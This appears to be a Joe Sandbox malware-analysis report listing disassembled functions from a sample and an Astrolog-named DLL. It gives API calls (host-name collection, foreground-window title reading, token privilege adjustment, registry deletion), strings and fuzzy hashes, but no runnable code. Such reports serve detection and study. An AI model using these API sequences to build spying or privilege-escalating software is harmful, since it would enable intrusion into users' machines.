Opcode Fuzzy Hash: 637ff4057a518b4037c455668929d79e51275e788874debc60ed9c90147b4fd1
Instruction Fuzzy Hash: 6D223A72E0060DEBDF209F50D885BDD77B4FF06308F1549A9E8D866990EF318A58CB69

Function 100425EC Relevance: 9.3, APIs: 6, Instructions: 285
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__allrem.LIBCMT ref: 10042776
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 10042792
__allrem.LIBCMT ref: 100427A9
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 100427C7
__allrem.LIBCMT ref: 100427DE
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 100427FC

Memory Dump Source

Source File: 00000009.00000002.3247470830.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_10001000_DAPIjX8.jbxd

Similarity

API ID: Unothrow_t@std@@@__allrem__ehfuncinfo$??2@
String ID:
API String ID: 1992179935-0
Opcode ID: 5a632a87e7081925c05750c335bdd88a943fbf03be889ba1cf27fc3701b1fcbd
Instruction ID: d5479bc1b746727abca6d8f9757406ec68e7b7bbf4155c34677e3b1bd49904a4
Opcode Fuzzy Hash: 5a632a87e7081925c05750c335bdd88a943fbf03be889ba1cf27fc3701b1fcbd
Instruction Fuzzy Hash: B481F376B01B06ABE710DE69CC82B5A73E9EF40764F71423EF510D7281EB70E9048B98

Function 6C67F7DA Relevance: 9.0, APIs: 2, Strings: 3, Instructions: 209COMMON

Download Yara Rule

Strings

NULL, xrefs: 6C67F832
.;C:\Astrolog\, xrefs: 6C67F82C, 6C67F831, 6C67F84B
,%s, xrefs: 6C67F9CC

Memory Dump Source

Source File: 00000009.00000002.3247704451.000000006C631000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C630000, based on PE: true

Associated: 00000009.00000002.3247658291.000000006C630000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.3247812700.000000006C6DD000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.3247950943.000000006C727000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.3247979957.000000006C729000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.3248027784.000000006C74D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.3248067369.000000006C74E000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.3248131092.000000006C750000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.3248131092.000000006C753000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.3248131092.000000006C758000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.3248131092.000000006C75C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.3248131092.000000006C75E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.3248131092.000000006C760000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.3248260526.000000006C763000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c630000_DAPIjX8.jbxd

Similarity

API ID:
String ID: ,%s$.;C:\Astrolog\$NULL
API String ID: 0-2992153177
Opcode ID: 6bfdc38b7d89f2a65964f07c895d4ea8e877c50883b6ce4fadac8cca0b723c21
Instruction ID: ac12d22db0769ea3f5a4d798c06f89baad6f782bcfb57386e2a1e5ec9d7b53d4
Opcode Fuzzy Hash: 6bfdc38b7d89f2a65964f07c895d4ea8e877c50883b6ce4fadac8cca0b723c21
Instruction Fuzzy Hash: 6C71E8719051599FCF21CF289894FE9BBF8AF06318F244AB9D054D7691DB304A85CF29

Function 6C63404F Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 74windowCOMMON

Download Yara Rule

APIs

Part of subcall function 6C651472: _sprintf.LIBCMT ref: 6C6514BC
Part of subcall function 6C651472: _sprintf.LIBCMT ref: 6C6514E0

__CxxThrowException@8.LIBCMT ref: 6C6340AA

Part of subcall function 6C6C0FF1: KiUserExceptionDispatcher.NTDLL(?,?,6C6B5E3B,?,?,?,?,?,6C6B5E3B,?,6C722DBC,6C750A30), ref: 6C6C1033

_memset.LIBCMT ref: 6C6340C4
GetModuleFileNameA.KERNEL32(00000000,?,000000FF), ref: 6C6340D9
MessageBoxA.USER32(00000000,GameBegin,00000000,00000000), ref: 6C6340F4

Part of subcall function 6C692A72: SHDeleteKeyA.SHLWAPI(80000001,Software\Classes\.as,?,?,6C68DE40), ref: 6C692A85
Part of subcall function 6C692A72: SHDeleteKeyA.SHLWAPI(80000001,Software\Classes\Astrolog.as,?,?,6C68DE40), ref: 6C692A91

Part of subcall function 6C6465F4: _memset.LIBCMT ref: 6C64662D
Part of subcall function 6C6465F4: _memset.LIBCMT ref: 6C646643

Part of subcall function 6C646B34: _memset.LIBCMT ref: 6C646B68

Part of subcall function 6C6B2E33: _doexit.LIBCMT ref: 6C6B2E3F

Strings

GameBegin, xrefs: 6C6340EE

Memory Dump Source

Source File: 00000009.00000002.3247704451.000000006C631000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C630000, based on PE: true

Associated: 00000009.00000002.3247658291.000000006C630000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.3247812700.000000006C6DD000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.3247950943.000000006C727000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.3247979957.000000006C729000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.3248027784.000000006C74D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.3248067369.000000006C74E000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.3248131092.000000006C750000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.3248131092.000000006C753000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.3248131092.000000006C758000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.3248131092.000000006C75C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.3248131092.000000006C75E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.3248131092.000000006C760000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.3248260526.000000006C763000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c630000_DAPIjX8.jbxd

Similarity

API ID: _memset$Delete_sprintf$DispatcherExceptionException@8FileMessageModuleNameThrowUser_doexit
String ID: GameBegin
API String ID: 2408732992-2407867525
Opcode ID: 8c50e166e30f3edbcf798cacc954d2199d9702de07800efb2c12a2eb999b1e86
Instruction ID: 496d2cbb449d14c694d75a33c562c0254546ef214e80753ad6a6727c459cdbb7
Opcode Fuzzy Hash: 8c50e166e30f3edbcf798cacc954d2199d9702de07800efb2c12a2eb999b1e86
Instruction Fuzzy Hash: 8F21D8707012289BDF00AFB0C8C19E87BB8EB2634CB10747BD158C2A01DB79C589CB6D

Function 1001CAE0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 59stringCOMMON

Download Yara Rule

APIs

GetComputerNameW.KERNEL32(?,00000200), ref: 1001CB27
lstrcpyW.KERNEL32(?,10077510), ref: 1001CB3D
wsprintfW.USER32 ref: 1001CB69
lstrlenW.KERNEL32(?), ref: 1001CB73

Strings

Time, xrefs: 1001CB7C

Memory Dump Source

Source File: 00000009.00000002.3247470830.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_10001000_DAPIjX8.jbxd

Similarity

API ID: ComputerNamelstrcpylstrlenwsprintf
String ID: Time
API String ID: 2137660125-3483776891
Opcode ID: 0d86f43cf8aff1c96b5c1221564300b5aa5e20fb4681d5bdfc798f6ad99b5944
Instruction ID: 3e6a45b9b470fbc869b3f012b6210870463603dc6c33235bc886a16c7cdcfef5
Opcode Fuzzy Hash: 0d86f43cf8aff1c96b5c1221564300b5aa5e20fb4681d5bdfc798f6ad99b5944
Instruction Fuzzy Hash: 43118FB5900228ABE714DB64CC8AFDB777CEB44601F0141A5F709E6142EF74AB88CBA4

Function 100514E0 Relevance: 7.9, APIs: 5, Instructions: 376timeCOMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 10051562
_free.LIBCMT ref: 10051586
_free.LIBCMT ref: 10051715
GetTimeZoneInformation.KERNEL32(?,00000000,00000000,00000000,?,1006A608), ref: 10051727
_free.LIBCMT ref: 100518E3

Memory Dump Source

Source File: 00000009.00000002.3247470830.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_10001000_DAPIjX8.jbxd

Similarity

API ID: _free$InformationTimeZone
String ID:
API String ID: 597776487-0
Opcode ID: d2a1c661eeab8fe2ccda79241d1e7e9c5a7a17148dfb404b2796e1f3565e554a
Instruction ID: 5944b97e054a481ea07992aa34664951c7c548f22b03f4b78325800655bf825d
Opcode Fuzzy Hash: d2a1c661eeab8fe2ccda79241d1e7e9c5a7a17148dfb404b2796e1f3565e554a
Instruction Fuzzy Hash: 45C14675E042599FDB11CF78CC81AEE7BF9EF45250F2541AAE884D7282EB309E49C750

Function 1001CBA0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 69stringCOMMON

Download Yara Rule

APIs

GetComputerNameW.KERNEL32(?,00000200), ref: 1001CBF5
lstrcpyW.KERNEL32(?,10077510), ref: 1001CC0B
wsprintfW.USER32 ref: 1001CC37

Strings

Remark, xrefs: 1001CC54, 1001CC78

Memory Dump Source

Source File: 00000009.00000002.3247470830.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_10001000_DAPIjX8.jbxd

Similarity

API ID: ComputerNamelstrcpywsprintf
String ID: Remark
API String ID: 2045598086-3865500943
Opcode ID: 41c774fbd50cdb4b117e5591b852dfc880d65e9c52b26308cb5e22cccdd32118
Instruction ID: b3f827b17ac0b056ac70bbdc4e75ce27e2abaede2ac2f1ecf34c5bf4031cd120
Opcode Fuzzy Hash: 41c774fbd50cdb4b117e5591b852dfc880d65e9c52b26308cb5e22cccdd32118
Instruction Fuzzy Hash: 1421A8B5D40218AAEB14D764CD46FCA73ADEB00701F404596F708BA182EFB5AB848BD4

Function 1000B9D0 Relevance: 6.1, APIs: 4, Instructions: 108COMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32 ref: 1000B9F0
GetTopWindow.USER32(00000000), ref: 1000B9FF
GetWindowTextLengthW.USER32(00000000), ref: 1000BA3C
GetWindowTextW.USER32(?,00000000,00000001), ref: 1000BA9E

Memory Dump Source

Source File: 00000009.00000002.3247470830.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_10001000_DAPIjX8.jbxd

Similarity

API ID: Window$Text$ForegroundLength
String ID:
API String ID: 1471897267-0
Opcode ID: 3d17bf614a9b19a3ebe21ce52a279043732c0d42b8e04fd6304377340a176a11
Instruction ID: f5465e67f4ccfb34a7407618dca653fffe2592f44dfeaf943761977b0b72cbef
Opcode Fuzzy Hash: 3d17bf614a9b19a3ebe21ce52a279043732c0d42b8e04fd6304377340a176a11
Instruction Fuzzy Hash: F331B374A047059BD714CF28C81676BF7E9EF85644F008A1EF88A8B250EBB4EA448792

Function 10011A00 Relevance: 5.3, APIs: 4, Instructions: 294COMMON

Download Yara Rule

APIs

VirtualFree.KERNELBASE(00000000,00000000,00008000), ref: 10011D6C

Memory Dump Source

Source File: 00000009.00000002.3247470830.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_10001000_DAPIjX8.jbxd

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: 29c01c5153810fce39ab4b27d04142ac06fe52652b89456ca7a689fc236b89a3
Instruction ID: f3143f391f0517f03d2711e34f5f78023d9b528400ad956a5550ea6a7af18503
Opcode Fuzzy Hash: 29c01c5153810fce39ab4b27d04142ac06fe52652b89456ca7a689fc236b89a3
Instruction Fuzzy Hash: 8EA1F874E002199FEF24CFA4DC85BEE7BB6FF45354F104228E415AB292DB34A985CB61

Function 1001944C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 29COMMON

Download Yara Rule

APIs

wsprintfW.USER32 ref: 10019464

Part of subcall function 1001CAE0: GetComputerNameW.KERNEL32(?,00000200), ref: 1001CB27
Part of subcall function 1001CAE0: lstrcpyW.KERNEL32(?,10077510), ref: 1001CB3D
Part of subcall function 1001CAE0: wsprintfW.USER32 ref: 1001CB69
Part of subcall function 1001CAE0: lstrlenW.KERNEL32(?), ref: 1001CB73

Strings

+, xrefs: 10019DCD
tasktime, xrefs: 10019473

Memory Dump Source

Source File: 00000009.00000002.3247470830.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_10001000_DAPIjX8.jbxd

Similarity

API ID: wsprintf$ComputerNamelstrcpylstrlen
String ID: +$tasktime
API String ID: 1932226818-2742412719
Opcode ID: a71690afc4177896275e162c754cac9cb1aa73dc16bf86ce23c540c854ca97f1
Instruction ID: d866fd5828c63630ef7eb7cf9d4e4059614f1f7a34494511adf1fe88d1a7de53
Opcode Fuzzy Hash: a71690afc4177896275e162c754cac9cb1aa73dc16bf86ce23c540c854ca97f1
Instruction Fuzzy Hash: A2F09A319082689FCB15DB14EC4579AB764FB44214F0080AAE80AAB282DB786A94CB90

Function 6C6332F1 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 23registryCOMMON

Download Yara Rule

APIs

RegisterClassA.USER32(6C75A988), ref: 6C633314
CreateWindowExA.USER32(00000000,Message Window,00CF0000,80000000,80000000,80000000,80000000,00000000,00000000,00000000), ref: 6C63333F

Strings

Message Window, xrefs: 6C633333

Memory Dump Source

Source File: 00000009.00000002.3247704451.000000006C631000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C630000, based on PE: true

Associated: 00000009.00000002.3247658291.000000006C630000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.3247812700.000000006C6DD000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.3247950943.000000006C727000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.3247979957.000000006C729000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.3248027784.000000006C74D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.3248067369.000000006C74E000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.3248131092.000000006C750000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.3248131092.000000006C753000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.3248131092.000000006C758000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.3248131092.000000006C75C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.3248131092.000000006C75E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.3248131092.000000006C760000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.3248260526.000000006C763000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c630000_DAPIjX8.jbxd

Similarity

API ID: ClassCreateRegisterWindow
String ID: Message Window
API String ID: 3469048531-1814804990
Opcode ID: 8d44c0d54e8d11377aa02abc504ed521bd67e97934bd4131de8a43382c894277
Instruction ID: 5c3bf44267bbe493b4afd95a8bec9094cee7ec131bbe159eb8aaaf5b9171dfa8
Opcode Fuzzy Hash: 8d44c0d54e8d11377aa02abc504ed521bd67e97934bd4131de8a43382c894277
Instruction Fuzzy Hash: 02E0E5F1316620BEEF048F60CC0AF763E78E70B220B928139B50586220DF7568409F78

Function 100516BD Relevance: 4.7, APIs: 3, Instructions: 173timeCOMMON

Download Yara Rule

APIs

GetTimeZoneInformation.KERNEL32(?,00000000,00000000,00000000,?,1006A608), ref: 10051727
_free.LIBCMT ref: 10051715

Part of subcall function 1004D9B2: HeapFree.KERNEL32(00000000,00000000,?,1005AA7F,10053BE7,00000000,10053BE7,?,?,1005AD24,10053BE7,00000007,10053BE7,?,10058D36,10053BE7), ref: 1004D9C8
Part of subcall function 1004D9B2: GetLastError.KERNEL32(10053BE7,?,1005AA7F,10053BE7,00000000,10053BE7,?,?,1005AD24,10053BE7,00000007,10053BE7,?,10058D36,10053BE7,10053BE7), ref: 1004D9DA

_free.LIBCMT ref: 100518E3

Memory Dump Source

Source File: 00000009.00000002.3247470830.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_10001000_DAPIjX8.jbxd

Similarity

API ID: _free$ErrorFreeHeapInformationLastTimeZone
String ID:
API String ID: 2155170405-0
Opcode ID: 0a9afe676757fbac900952ed88f34385681e04743330df06d8487b9b6f66e1b8
Instruction ID: ae1caa736d89166b0db1018e9d2eac3869d6e7b19e4e3805c26ca96c628e2ac8
Opcode Fuzzy Hash: 0a9afe676757fbac900952ed88f34385681e04743330df06d8487b9b6f66e1b8
Instruction Fuzzy Hash: BF51B475D04219ABEB11DBA98C819EE77FCFF44250B2146ABE454D7291EB30AE48CB50

Function 1005181A Relevance: 4.6, APIs: 3, Instructions: 80COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 1005188D
_free.LIBCMT ref: 100518E3

Part of subcall function 100516BD: _free.LIBCMT ref: 10051715
Part of subcall function 100516BD: GetTimeZoneInformation.KERNEL32(?,00000000,00000000,00000000,?,1006A608), ref: 10051727

Memory Dump Source

Source File: 00000009.00000002.3247470830.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_10001000_DAPIjX8.jbxd

Similarity

API ID: _free$InformationTimeZone
String ID:
API String ID: 597776487-0
Opcode ID: c015f96a86172428804c22dab89c8f003ee46ac2ac38053fcf19e22af9cc9150
Instruction ID: 769e4cc0021f4a8ee0288658ed8287d3b7955195c702cdf757401fe74b216e31
Opcode Fuzzy Hash: c015f96a86172428804c22dab89c8f003ee46ac2ac38053fcf19e22af9cc9150
Instruction Fuzzy Hash: 8E21C676C0422967E731D7259C81EEA77BCEB41760F2103A7E898E2191EF706DC98A94

Function 1000A920 Relevance: 4.6, APIs: 3, Instructions: 80memoryCOMMON

Download Yara Rule

APIs

__floor_pentium4.LIBCMT ref: 1000A96D
VirtualAlloc.KERNEL32(00000000,00000000,00001000,00000004), ref: 1000A995

Memory Dump Source

Source File: 00000009.00000002.3247470830.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_10001000_DAPIjX8.jbxd

Similarity

API ID: AllocVirtual__floor_pentium4
String ID:
API String ID: 4174053956-0
Opcode ID: ca2fadb11b78880022fd620a6bfc8c65ebc753ad8cf0125fa148e2bc209761ce
Instruction ID: 23107b6d779a8230bbb2392973feb2951df0fac37201d0ea6cbcca7204baf38b
Opcode Fuzzy Hash: ca2fadb11b78880022fd620a6bfc8c65ebc753ad8cf0125fa148e2bc209761ce
Instruction Fuzzy Hash: EF21F572704B149AE310DA39EC81A17F7E8EB453A1F014B3AFA86D6190EB71E890C791

Function 1000BB20 Relevance: 4.6, APIs: 3, Instructions: 75networkCOMMON

Download Yara Rule

APIs

gethostname.WS2_32(?,00000100), ref: 1000BB53
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 1000BB6F
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,00000000,00000000,00000000), ref: 1000BBB4

Memory Dump Source

Source File: 00000009.00000002.3247470830.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_10001000_DAPIjX8.jbxd

Similarity

API ID: ByteCharMultiWide$gethostname
String ID:
API String ID: 2445153122-0
Opcode ID: 8220a0e5b3adec0511fb902189cbbe93e367e5842becd02a05235d6e5f907661
Instruction ID: 6ae64a3ab1f62f0a90e46849d51f8ee7803add071dfa6f0a7ff8e62bf13427a4
Opcode Fuzzy Hash: 8220a0e5b3adec0511fb902189cbbe93e367e5842becd02a05235d6e5f907661
Instruction Fuzzy Hash: 6A217E705083549FE310CF24CC05BABB7E8FF89714F000A5EF99996290EBB4AA48C7D2

Function 6C633FFB Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 32COMMON

Download Yara Rule

APIs

__EH_prolog3_catch_GS.LIBCMT ref: 6C634005

Part of subcall function 6C633021: _memset.LIBCMT ref: 6C63304F
Part of subcall function 6C633021: GetModuleFileNameA.KERNEL32(?,000000FF), ref: 6C633124

Part of subcall function 6C654AFA: _fgetc.LIBCMT ref: 6C654B43
Part of subcall function 6C654AFA: _sprintf.LIBCMT ref: 6C654B6F

Strings

astrolog.as, xrefs: 6C63400F

Memory Dump Source

Source File: 00000009.00000002.3247704451.000000006C631000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C630000, based on PE: true

Associated: 00000009.00000002.3247658291.000000006C630000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.3247812700.000000006C6DD000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.3247950943.000000006C727000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.3247979957.000000006C729000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.3248027784.000000006C74D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.3248067369.000000006C74E000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.3248131092.000000006C750000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.3248131092.000000006C753000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.3248131092.000000006C758000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.3248131092.000000006C75C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.3248131092.000000006C75E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.3248131092.000000006C760000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.3248260526.000000006C763000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c630000_DAPIjX8.jbxd

Similarity

API ID: FileH_prolog3_catch_ModuleName_fgetc_memset_sprintf
String ID: astrolog.as
API String ID: 2788110157-2633699130
Opcode ID: 839e80c15247f3ca6a7e0dbe40dd6bb352d899c3ba4301e88e12f0940157999a
Instruction ID: e6053afc20d35aa9a3065f258285baea64035d8dc79be9d106ba6efd6500bbe3
Opcode Fuzzy Hash: 839e80c15247f3ca6a7e0dbe40dd6bb352d899c3ba4301e88e12f0940157999a
Instruction Fuzzy Hash: 56F03A757462708ADF046FB4D9804A86A70EB2B74C310753F819AC6A40DBB5C084CB5E

Function 10020270 Relevance: 1.6, APIs: 1, Instructions: 109COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3247470830.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_10001000_DAPIjX8.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 71659396b64506a3f915f866e0e6d0d22f97fd8679baf7c5a502e18912562ded
Instruction ID: e7775b81cd5a67c59352e7e14569520216d341204271b2a9fcb849079d0047a8
Opcode Fuzzy Hash: 71659396b64506a3f915f866e0e6d0d22f97fd8679baf7c5a502e18912562ded
Instruction Fuzzy Hash: 7C31E2B2A007049BCB00CF68E8417DAF7E9EF55360F10822AF499D7651E775AA84CB90

Function 1001ED90 Relevance: 1.5, APIs: 1, Instructions: 46COMMON

Download Yara Rule

APIs

CompareStringW.KERNELBASE(00000800,00000001,?,00000001,100772E4,00000001,00000000,?,1008D880,?,?,1001EF86), ref: 1001EDB5

Memory Dump Source

Source File: 00000009.00000002.3247470830.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_10001000_DAPIjX8.jbxd

Similarity

API ID: CompareString
String ID:
API String ID: 1825529933-0
Opcode ID: 329863f654be77b7aa99de90060457f735ac7f351ea3de8cce6a6f4fc65d937a
Instruction ID: 4cdd57567af10c333d344e70a6ee3f7fe84ae6836bac624ff216e6e62135134a
Opcode Fuzzy Hash: 329863f654be77b7aa99de90060457f735ac7f351ea3de8cce6a6f4fc65d937a
Instruction Fuzzy Hash: A3F0FC33740316B7D620C58AAC85FD7B799E785755F0140AAF70C9F180DBE2984187D4

Function 10020310 Relevance: 1.5, APIs: 1, Instructions: 43COMMON

Download Yara Rule

APIs

SetEvent.KERNEL32(?,10081068), ref: 10020361

Part of subcall function 10020580: LoadLibraryW.KERNEL32(100783F4,10081068,?,?,?,?,1002037D), ref: 100205B5

Memory Dump Source

Source File: 00000009.00000002.3247470830.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_10001000_DAPIjX8.jbxd

Similarity

API ID: EventLibraryLoad
String ID:
API String ID: 298091905-0
Opcode ID: 3b4ecae4166f1dad3b18585e05198afbb3260a52d15318504b17a8d368628590
Instruction ID: e8bd7fe2e6ec80928e3e5f9c2cc51210f5708b32cd840354af321c6057caa1aa
Opcode Fuzzy Hash: 3b4ecae4166f1dad3b18585e05198afbb3260a52d15318504b17a8d368628590
Instruction Fuzzy Hash: 1E01B572D04748EBDB01CF98DD417DEF7B9FF1A214F108316F840B2251EB366A808A50

Function 6C6B24FA Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

__fsopen.LIBCMT ref: 6C6B2507

Memory Dump Source

Source File: 00000009.00000002.3247704451.000000006C631000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C630000, based on PE: true

Associated: 00000009.00000002.3247658291.000000006C630000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.3247812700.000000006C6DD000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.3247950943.000000006C727000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.3247979957.000000006C729000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.3248027784.000000006C74D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.3248067369.000000006C74E000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.3248131092.000000006C750000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.3248131092.000000006C753000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.3248131092.000000006C758000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.3248131092.000000006C75C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.3248131092.000000006C75E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.3248131092.000000006C760000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.3248260526.000000006C763000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c630000_DAPIjX8.jbxd

Similarity

API ID: __fsopen
String ID:
API String ID: 3646066109-0
Opcode ID: 458c5a181ffae5f95d358663ef626c75276123e7ccc662156e21cb703a51c411
Instruction ID: 243c9af958938cd62391156f9b254ff7fb73104295c9e343a7b84ad1b8aabbe5
Opcode Fuzzy Hash: 458c5a181ffae5f95d358663ef626c75276123e7ccc662156e21cb703a51c411
Instruction Fuzzy Hash: 74C09B7254110C77CF111A42DC05E557F599FC1664F444020FB1C299609673D975968D

Non-executed Functions

Function 10027530 Relevance: 87.9, APIs: 49, Strings: 1, Instructions: 437stringmemoryprocessCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000028,?,?,?,?,?,?,?,?,?,?,00000124), ref: 100275B4
OpenProcessToken.ADVAPI32(00000000,?,?,?,?,?,?,?,?,?,00000124), ref: 100275BB
LookupPrivilegeValueA.ADVAPI32 ref: 100275EA
AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000010,00000000,00000000,?,?,?,00000000,100787FC,?), ref: 10027604
GetLastError.KERNEL32(?,?,?,00000000,100787FC,?), ref: 1002760A
CloseHandle.KERNEL32(?,?,?,?,00000000,100787FC,?), ref: 10027614
